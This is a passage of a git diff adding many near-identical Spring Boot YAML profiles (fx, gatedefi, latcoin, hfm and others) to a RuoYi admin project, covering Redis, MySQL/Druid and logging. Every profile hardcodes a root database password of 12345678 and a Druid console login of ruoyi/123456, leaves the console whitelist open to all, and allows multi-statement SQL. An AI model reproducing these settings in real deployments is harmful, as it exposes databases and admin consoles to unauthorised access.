initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-fx.yml b/ruoyi-admin/src/main/resources/application-fx.yml new file mode 100644 index 0000000..4869a0a --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-fx.yml @@ -0,0 +1,95 @@ +app: + name: fx +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/fx?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-gatedefi.yml b/ruoyi-admin/src/main/resources/application-gatedefi.yml new file mode 100644 index 0000000..4dee02d --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-gatedefi.yml @@ -0,0 +1,95 @@ +app: + name: gatedefi +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/gatedefi?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-gemini2.yml b/ruoyi-admin/src/main/resources/application-gemini2.yml new file mode 100644 index 0000000..0729460 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-gemini2.yml @@ -0,0 +1,96 @@ +app: + name: gemini +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/gemini?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-gmdoin.yml b/ruoyi-admin/src/main/resources/application-gmdoin.yml new file mode 100644 index 0000000..71186ff --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-gmdoin.yml @@ -0,0 +1,96 @@ +app: + name: gmdoin +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/gmdoin?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-gmmoin.yml b/ruoyi-admin/src/main/resources/application-gmmoin.yml new file mode 100644 index 0000000..16901a0 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-gmmoin.yml @@ -0,0 +1,96 @@ +app: + name: gmmoin +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/gmmoin?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-gmtoin.yml b/ruoyi-admin/src/main/resources/application-gmtoin.yml new file mode 100644 index 0000000..ffde083 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-gmtoin.yml @@ -0,0 +1,96 @@ +app: + name: gmtoin +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/gmtoin?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-gmtoin2.yml b/ruoyi-admin/src/main/resources/application-gmtoin2.yml new file mode 100644 index 0000000..6103e1e --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-gmtoin2.yml @@ -0,0 +1,96 @@ +app: + name: gmtoin2 +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/gmtoin2?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-hfm.yml b/ruoyi-admin/src/main/resources/application-hfm.yml new file mode 100644 index 0000000..d242d80 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-hfm.yml @@ -0,0 +1,96 @@ +app: + name: hfm +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/hfm?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-hfm2.yml b/ruoyi-admin/src/main/resources/application-hfm2.yml new file mode 100644 index 0000000..f4e6ca2 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-hfm2.yml @@ -0,0 +1,95 @@ +app: + name: hfm2 +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/hfm2?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-idsst.yml b/ruoyi-admin/src/main/resources/application-idsst.yml new file mode 100644 index 0000000..0b843a5 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-idsst.yml @@ -0,0 +1,95 @@ +app: + name: idsst +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/idsst?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-kabit.yml b/ruoyi-admin/src/main/resources/application-kabit.yml new file mode 100644 index 0000000..edf4c3f --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-kabit.yml @@ -0,0 +1,96 @@ +app: + name: kabit +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/kabit?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-latcoin.yml b/ruoyi-admin/src/main/resources/application-latcoin.yml new file mode 100644 index 0000000..4109fef --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-latcoin.yml @@ -0,0 +1,96 @@ +app: + name: latcoin +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/latcoin?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-math.yml b/ruoyi-admin/src/main/resources/application-math.yml new file mode 100644 index 0000000..cea0eee --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-math.yml @@ -0,0 +1,96 @@ +app: + name: math +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 